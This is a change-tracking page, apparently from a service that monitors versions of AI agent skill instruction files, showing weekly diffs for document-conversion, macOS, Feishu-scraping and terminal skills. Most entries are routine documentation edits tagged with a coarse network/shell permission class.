- 120 | Images | Alt text present, local paths preferred |
- 121 | Headings | Proper hierarchy, appropriate length |
- 122 | Lists | More items, nested structure preserved |
- 123 | Paragraphs | Content completeness |
+ 111 Before choosing Heavy Mode, read its [selection and degradation behavior](references/heavy-mode-guide.md#selection-behavior).
+ 112 For explicit segment-level merging, use [Merge Outputs Manually](#merge-outputs-manually).
- 141 ```bash
- 142 # Validate conversion quality
- 143 uv run --with pymupdf scripts/validate_output.py document.pdf output.md
- 144 
- 145 # Generate HTML report
- 146 uv run --with pymupdf scripts/validate_output.py document.pdf output.md --report report.html
- 147 ```
- 148 
- 149 ### Quality Metrics
- 150 
- 151 | Metric | Pass | Warn | Fail |
- 152 |--------|------|------|------|
- 153 | Text Retention | >95% | 85-95% | <85% |
- 154 | Table Retention | 100% | 90-99% | <90% |
- 155 | Image Retention | 100% | 80-99% | <80% |
+ 130 For the validator's command, prerequisites, result fields and exit handling, read
+ 131 [Mechanical comparison](references/pdf-acceptance.md#mechanical-comparison).
+ 132 The CLI accepts PDF or DOCX source files; the remainder of that procedure covers
+ 133 PDF structural and recipient acceptance.
+ 134 
+ 135 From this Skill's source checkout, run the validator's bidirectional controls with
+ 136 `python3 -m unittest discover -s tests -v` (Pandoc required). Default packages
+ 137 exclude this development test directory; a zero-test run is not validation.
- 178 ```bash
- 179 # Install all tools
- 180 pip install pymupdf4llm
- 181 uv tool install "markitdown[pdf]"
- 182 brew install pandoc
- 183 ```
+ 160 Follow [converter installation](references/tool-comparison.md#installation), then
+ 161 rerun the selected conversion command. Check imports in the same Python runtime
+ 162 as the converter; a distribution name alone does not prove an engine is available.
- 186 - Harmless font parsing warnings, output is still correct
+ 165 - A font warning alone does not establish output quality; follow [PDF acceptance](references/pdf-acceptance.md).
- 189 - Use Heavy Mode for better image preservation
+ 168 - Follow [PDF acceptance](references/pdf-acceptance.md) to reconcile missing images and references.
- 193 - Use Heavy Mode - it selects the most complete table version
- 194 - Or validate with `scripts/validate_output.py`
+ 172 - Compare the table with the original and reconstruct missing cells if needed.
+ 173 - Read [Heavy Mode selection](references/heavy-mode-guide.md#selection-behavior) before trying another candidate; the validator diagnoses coverage and does not repair tables.
- 202 | `test_convert.py` | 31 tests covering all post-processing functions |
+ 181 | `test_convert.py` | Converter and post-processing regression tests |
- 210 - `references/benchmark-2026-03-22.md` - 5-tool benchmark (Docling/MarkItDown/Pandoc/Mammoth/ours)
+ 189 - `references/benchmark-2026-03-22.md` - Historical converter benchmark
+ 194 - `references/pdf-acceptance.md` - PDF text/structure checks, synthetic boundary controls, reader and original-file handoff

This preview is limited. See the complete change on GitHub.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/docs-cleaner/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/docs-router/SKILL.md

Week of Nov 2, 2026 · +1 / −1 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 40 | Extract Word/WPS DOCX comments or tracked changes; compare a returned DOCX with its explicit sent baseline, including files with no review traces | `../read-docx-review/SKILL.md` |
+ 40 | Extract Word/WPS DOCX comments or tracked changes; compare explicitly selected DOCX versions, using the verified sent baseline for counterpart feedback, including files with no review traces | `../read-docx-review/SKILL.md` |

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/docx-creator/SKILL.md

Week of Nov 2, 2026 · +24 / −28 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 51 Rule of thumb: the CLI's `--content-json` understands exactly three block types
+ 51 Rule of thumb: the CLI's `--content-json` understands these block types:
- 65 # 2. Generate (first run restores DocumentFormat.OpenXml + Markdig, ~20s)
+ 65 # 2. Generate (first run restores the project dependencies)
- 78 # 5. Assess the existing authorized Word route, then perform native checks when usable
- 79 # Installed alone is not usable; follow Step 3a for denied/unavailable routes
- 80 open -a "Microsoft Word" your-doc.docx   # check the title bar for "兼容性模式", check every page
+ 78 # 5. Follow verification_protocol.md Step 3a before invoking the native Word route.
+ 79 # Perform its native checks when usable; otherwise retain the named acceptance gap.
- 90 Never justify the whole document. Three layers, three alignments:
+ 89 Never justify the whole document. Apply alignment by content role:
- 102 `InlineRuns`. (Line numbers are deliberately not given here — they drift every time the file
- 103 grows; see `scripts/README.md`'s function-name lookup table instead.) Full write-up: ISSUE-004.
+ 101 `InlineRuns`. Use `scripts/README.md`'s function-name lookup table. Full write-up: ISSUE-004.
- 111 Two SDK traps come with it (wrong class name, wrong element order) — ISSUE-005, ISSUE-006.
+ 109 SDK traps include the wrong class name and wrong element order — ISSUE-005, ISSUE-006.
- 120 machine picks. Shipped defaults: Latin `Times New Roman`; East Asian 宋体 for body, 黑体 for
- 121 headings. Chinese **bold runs switch family to 黑体** — 宋体 has no true bold weight and
- 122 renderer-synthesized bold smears multi-stroke characters (ISSUE-014). Sizes are OpenXML
- 123 half-points — body 21 (10.5pt, the common Chinese manuscript size), H1 36 (18pt), clause
- 124 heading 28 (14pt). Body paragraphs also get a 2-character first-line indent (`420` twips at
- 125 10.5pt — change it in lockstep with the body size). ISSUE-007.
+ 118 machine picks. Read the current fonts, half-point sizes and body indent in
+ 119 [`scripts/Program.cs`](scripts/Program.cs), at its constants and `RunProps`/`Para` callers.
+ 120 Keep body size and its character-based first-line indent in sync. Chinese bold-family
+ 121 handling is defined in `RunProps`; the rendering failure and verification are in ISSUE-014.
- 129 A4 is 11906 × 16838 twips with 1440 twip margins; page number goes in a centered footer
- 130 `PAGE` field. Tables need all six borders (`top`/`bottom`/`left`/`right`/`insideH`/`insideV`,
- 131 in that ECMA-376 order — ISSUE-013) and a `tblGrid` (ISSUE-012) — set fewer borders and cells
- 132 look unruled in print; omit `tblGrid` and the file fails strict validation even though
- 133 LibreOffice hides it. Implemented in `BuildTable` and the `SectionProperties`/`FooterPart`
- 134 setup in `Main` — see `scripts/README.md`'s lookup table.
+ 125 Use [`scripts/Program.cs`](scripts/Program.cs) for the current page, margin and footer
+ 126 profile. Tables need complete borders and a `tblGrid`: missing borders leave cells unruled
+ 127 in print; a missing grid fails strict validation even when LibreOffice hides it.
+ 128 Preserve the schema order documented at `BuildTable`; ISSUE-013 explains the failure.
+ 129 Find the page/footer setup at `SectionProperties`/`FooterPart` in `Main`.
- 144 `pdftoppm -png` → `Read` every page image → check the five failure modes
- 145 (info blocks not stretched / each list restarting at 1 / table borders present / signature
- 146 block intact / no orphaned pagination) → **assess and use the existing authorized, observable
+ 139 `pdftoppm -png` → `Read` every page image → check the failure modes in the verification
+ 140 protocol → **assess and use the existing authorized, observable
- 163 **Before overwriting a delivered .docx**, check for a sibling `~$<name>.docx` — that is Word's
- 164 owner lock, meaning the recipient has the old version open. Overwriting works, but they will
- 165 keep seeing the stale document until they close and reopen it. Tell them. ISSUE-011.
+ 157 **Before replacing a generated .docx**, follow
+ 158 [the holder and output-identity check](references/verification_protocol.md#before-replacing-a-generated-docx).
+ 159 Preserve signed/template/returned originals. A lock is a signal, not proof of a live holder
+ 160 or safe release; keep unknown holder/release states pending and verify the new output
+ 161 independently of the lock. ISSUE-011 records the stale-open-copy failure.
- 169 `scripts/Program.cs` is ~260 lines of straightforward OpenXML. Edit it directly for fonts,
+ 165 Edit `scripts/Program.cs` directly for fonts,

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/excel-automation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/mermaid-tools/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/pdf-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/pdf-to-html/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/photo-to-scanned-pdf/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/ppt-creator/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-docs/read-docx-review/SKILL.md

Week of Nov 2, 2026 · +21 / −19 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 8   导出的审阅稿;收到带修订模式改动的回稿要看对方改了什么;已有明确已发基线,要核对无批注、
- 9   无修订回稿的全文改动。核心保证:修订感知——python-docx
+ 8   导出的审阅稿;收到带修订模式改动的回稿要看对方改了什么;已有明确基线,要核对无批注、
+ 9   无修订稿的全文改动。修订感知——python-docx
- 11   不漏。只读,不改对方文件。边界:生成/排版 docx → docx-creator 或 minimax-docx;PDF 批注不在范围。
+ 11   读取已支持的批注、段落增删与文本视图;范围见正文。只读,不改对方文件。
+ 12   边界:生成/排版 docx → docx-creator 或 minimax-docx;PDF 批注不在范围。
- 66 要看某条批注前后更多上下文段落(对账表锚定列截断到 60 字,`--json` 里是全文):
+ 67 要看某条批注前后更多上下文段落(Markdown 锚定列为缩略文本,`--json` 里是全文):
- 81 两个方向的漏读都在真实出版审阅稿上踩过。本 skill 的 csx 引擎基于 Word 工程团队
- 82 官方维护的 OpenXML SDK,ins/del/move 是一等公民。机制细节、段落索引语义(body 直接子段,
+ 82 两个方向的漏读都在真实出版审阅稿上踩过。本 skill 的 csx 引擎基于 OpenXML SDK,旧读取
+ 83 接口报告所支持的段落增删及文本视图,不保证覆盖所有修订类型。机制细节、段落索引语义(body 直接子段,
- 87 `list_revisions()` / `extract_views()` / `paragraph_text()`,全部无状态直读 docx,按
- 88 (路径+mtime) 做内存缓存。写自定义分析时 import 它,别绕过它手解 XML。
+ 88 `list_revisions()` / `extract_views()` / `paragraph_text()`;调用与缓存行为由该文件定义。
+ 89 写自定义分析时 import 它,别绕过它手解 XML。
- 90 ## 已发基线与回稿的全文对比(含零审阅痕迹)
+ 91 ## 明确基线与对照稿的全文对比(含零审阅痕迹)
- 92 先固定准确已发基线和回稿,保留原件。读取
+ 93 先固定准确基线和对照稿,保留原件。核对对方回稿时,基线必须有实际发送证据;用户明确
+ 94 指定的双版本控制、生成件与人工编辑件也可比较,但不能据此称基线“已发送”。读取
- 96 uv run python scripts/compare_docx.py <已发基线.docx> <回稿.docx>
- 97 uv run python scripts/compare_docx.py <已发基线.docx> <回稿.docx> --json
+ 98 uv run python scripts/compare_docx.py <基线.docx> <对照稿.docx>
+ 99 uv run python scripts/compare_docx.py <基线.docx> <对照稿.docx> --json
- 99 uv run python scripts/compare_docx.py <已发基线.docx> <回稿.docx> --unchanged '付款条件'
+ 101 uv run python scripts/compare_docx.py <基线.docx> <对照稿.docx> --unchanged '付款条件'
- 115 - `DOTNET_ROLL_FORWARD=Major` 已由 client 内置设置(本机 .NET 版本高于 csx 目标版本时自动兼容)。
- 116 - `~/.dotnet/tools` 不在 PATH 时 client 会自动补,无需手动 export。
- 117 - NuGet 包(DocumentFormat.OpenXml 3.2.0,csx 内 `#r` 声明)首跑自动 restore,需要网络,
- 118   首次运行慢约 10-30 秒属正常;之后走本地包缓存。
+ 117 - 环境默认值、工具 PATH 补充与内存缓存由
+ 118   [`docx_bridge_client.py`](scripts/bridge_lib/docx_bridge_client.py) 定义。
+ 119 - NuGet 依赖由 [`scripts/csharp/tasks/`](scripts/csharp/tasks/) 内各 `.csx` 的 `#r` 声明定义。
+ 120   首次 restore 或缺缓存时需要网络;失败读取真实错误,不用固定耗时判断是否正常。
- 126 | `csx script failed … dotnet-script: command not found` | dotnet-script 未装 | 上面依赖节两条安装命令 |
- 127 | 首次运行卡 10-30 秒 | NuGet 首次 restore | 正常,等它;离线环境会失败,需联网首跑一次 |
+ 128 | `csx script failed … dotnet-script: command not found` | dotnet-script 未装 | 按依赖节准备工具 |
+ 129 | 首次运行等待或失败 | 可能需要 NuGet restore | 检查实际输出和现有缓存;缺包的离线环境需在授权范围内完成 restore,不以等待时长判定正常 |

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/ashare-news-fetcher/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/benchmark-due-diligence/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/bigdata-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/daymade-sector-research/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/devils-advocate/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/financial-data-collector/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/financial-router/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/gangtise-copilot/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-financial/pharma-daily-report/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-macos/capture-screen/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-macos/developing-ios-apps/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-macos/macos-cleaner/SKILL.md

Week of Nov 2, 2026 · +2 / −2 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 129 | 5. A content-bearing path is explicitly approved | `uv run scripts/analyze_large_files.py --threshold 100MB --path "<approved-path>"` | Do not substitute `~`, Downloads, Documents, or the data-volume root when no path was approved |
+ 129 | 5. A content-bearing path is explicitly approved | `uv run scripts/analyze_large_files.py --threshold 100 --path "<approved-path>"` | Do not substitute `~`, Downloads, Documents, or the data-volume root when no path was approved |
- 307 - `scripts/analyze_large_files.py` — large-file discovery inside an approved path.
+ 307 - `scripts/analyze_large_files.py` — large-file discovery inside an approved path; exit 1 marks an incomplete scan (find errors, timeout, unreadable files), never a clean result. "No single file above the threshold" does not make the path small: many below-threshold files can make one directory the dominant cost, so read directory aggregates independently of top single files. Preserving content on a NAS is not the same as local residency. Use an installed, authorized NAS transfer owner (`nas-use` where available); it is not bundled here. Without one, retain the assets and report migration as unverified instead of improvising a copy.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-macos/macos-load-doctor/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-macos/macos-permissions/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-macos/macos-watchdog/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-skill/skill-creator/SKILL.md

Week of Nov 2, 2026 · +10 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 63 Before dispatching cases from a source corpus, follow
+ 64 [source-case input preparation](references/eval_pipeline_schemas.md#source-case-input-preparation).
+ 65 
+ 126   For resumable writes to human-edited state, include its
+ 127   [interrupted-write controls](references/stateful-script-verification.md#interrupted-writes-and-later-human-changes).
+ 231 For repository publication, enter [release readiness](references/release-readiness.md)
+ 232 before requesting the first review. Select the destination's publication contract,
+ 233 integrate the required base and declare any opt-in rebind dependency scope there;
+ 234 do not discover those prerequisites only when attesting the completed review.
+ 235 

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-skill/skill-governance/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-skill/skill-reviewer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

daymade-skill/skills-search/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

debugging-network-issues/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

deep-research/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

douban-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

download-gemini-images/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

excalidraw-use/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

fact-checker/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

feishu-doc-scraper/SKILL.md

Week of Nov 2, 2026 · +10 / −4 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 29 - NAS retention: when the selected archive already uses an authorized NAS backend, follow the [NAS storage contract](references/archive-storage-contract.md#nas-retained-external-media), including original source identity and full retained-file integrity.
+ 33 
+ 34 Keep source access instructions with the authorized destination's material entry,
+ 35 following the destination handoff; return them with a password-protected source
+ 36 link. Generate aggregate statistics on demand under the storage contract.
- 63 ⚠<U+FE0F> **`base` (Bitable) is not actually operationalized in Path A yet** — the extractor only records the token (`DISPATCH["url-base"]`: *"Bitable API (outside this skill) — record token"*) and Step 2 below has no row for it. Listed here for completeness of what a Feishu URL can be, not as a claim that Path A extracts Bitable content end-to-end.
+ 68 **Resolve wiki nodes before choosing a handler.** Use the actual `obj_type` and its installed CLI guide; for example, `bitable` uses `lark-base`. A `3380002 Unsupported document type` response from `docs +fetch` identifies a handler mismatch, not a permission denial. If the required guide is unavailable, retain the token and type in the worklist as unextracted.
+ 100   Then dispatch on the **actual `obj_type`** — never assume docx: `docx` → step 3 below; `sheet`/`sheets` → step 4 in the reference; `bitable` → the installed `lark-base` guide; `file`/`slides` → the installed `lark-drive`/slides guide. `docs +fetch` on a non-docx `obj_type` fails with `3380002 Unsupported document type '…'. Only docx is supported.` — that error is evidence the wrong handler was selected, not that the source is unreadable.
- 126 [credential-like text hidden]
+ 132 [credential-like text hidden]
- 191 - **Every fetched document — a lone doc as much as a collection**: every hit from the residual rich-media-tag check (Path A step 5, run recursively over the whole working directory) maps to a handled artifact — every `mention-doc`/`cite doc-id=`/`sheet`/cross-tenant reference was **followed** to a fetched leaf file, and every `whiteboard` reference was **exported and read** (not followed — a whiteboard is inline visual content, never a link to recurse into). Raw binaries then map to a stable platform/OSS locator plus optional verified local cache; structured/searchable derivatives map to versioned files. This is not a collections-only check: a standalone document can contain an unresolved `whiteboard` with zero other documents involved. Each document's own `.html` legitimately keeps showing its tags forever (it's an immutable raw capture, never rewritten — as long as each document got its own filename per step 3) — don't chase the grep itself to a literal zero.
+ 197 - **Every fetched document — a lone doc as much as a collection**: every hit from the residual rich-media-tag check (Path A step 5, run recursively over the whole working directory) maps to a handled artifact — every `mention-doc`/`cite doc-id=`/`sheet`/cross-tenant reference was **followed** to a fetched leaf file **or explicitly recorded as outside the user's authorized capture scope** (roots/depth/resource set; a beyond-scope reference stays a locator in the worklist, marked not-captured), and every `whiteboard` reference was **exported and read** (not followed — a whiteboard is inline visual content, never a link to recurse into). Raw binaries then map to a stable platform/NAS/OSS locator plus optional verified local cache; structured/searchable derivatives map to versioned files. This is not a collections-only check: a standalone document can contain an unresolved `whiteboard` with zero other documents involved. Each document's own `.html` legitimately keeps showing its tags forever (it's an immutable raw capture, never rewritten — as long as each document got its own filename per step 3) — don't chase the grep itself to a literal zero.
- 222 - `scripts/check_archive_storage.py` — fail-closed validator for the source/Git/OSS storage split; blocks raw binaries declared as Git artifacts.
+ 228 - `scripts/check_archive_storage.py` — fail-closed validator for the source/Git/NAS/OSS storage split; blocks raw binaries declared as Git artifacts.

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

floorplan-finder/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

frontend-visual-qa/SKILL.md

Week of Nov 2, 2026 · +3 / −1 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

- 444 - transient notification lifecycle with observation armed before the trigger;
+ 444 - transient notification or game-feedback lifecycle using
+ 445   [Transient UI](references/journey-and-page-contracts.md#transient-ui), with
+ 446   observation armed before the trigger;

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

gemini-history-analyzer/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → 717fe8510531

No earlier version was observed for comparison.

Compare on GitHub

ghostty-use/SKILL.md

Week of Nov 2, 2026 · +82 / −83 lines

Before Network or broad shell → After Network or broad shell

717fe8510531 → 7c4d326ddd94

+ 18 ## Ghostty interaction channel
+ 19 
+ 20 For computer-use observation or interaction with Ghostty, use **Kimi computer use**
+ 21 (`kimi-cu` / `mcp__kimi_cu__*`). **Never use Codex computer use** (`mcp__cua_repl`)
+ 22 for Ghostty, including screenshots, clicks, typing and tab/window management.
+ 23 Prefer Kimi for ad hoc interaction. The existing `osascript` / System Events batch
+ 24 restore helpers remain allowed under the foreground and reconciliation rules below.
+ 25 Snapshot, planning and read-only checks may continue through their existing scripts.
+ 26 If Kimi is unavailable, report that gap rather than substituting Codex computer use;
+ 27 use an existing script only when it supports the task and is already authorized.
+ 28 Never use either channel to bypass a host denial.
+ 29 
- 20 work even when launched as a background shell job. Before restore, use a concrete
- 21 Ghostty handoff or existing explicit idle-desktop permission; check current activity
- 22 and coordinate exclusive agent ownership. Under that standing grant, notify and
- 23 execute without asking again. Idle input alone is not ownership. If busy/unknown,
- 24 continue preparation and read-only checks; stop input on human takeover and never
- 25 restore your old focus. Host denials remain binding.
+ 32 work even when launched as a background shell job. Apply the current user's
+ 33 foreground authorization. When it already covers this app and action, notify and
+ 34 proceed without requesting another handoff or requiring a lease or idle proof.
+ 35 Coordinate observed competing use. On human takeover, actual agent competition or
+ 36 externally overwritten state, stop input and yield; do not restore your old focus.
+ 37 If foreground use is not authorized, continue preparation and read-only checks
+ 38 until the missing bounded authorization is supplied. Host denials remain binding.
+ 41 
+ 42 For missing Codex terminals without confirmed Ghostty ownership, load the installed
+ 43 `read-codex-history` Skill and follow its
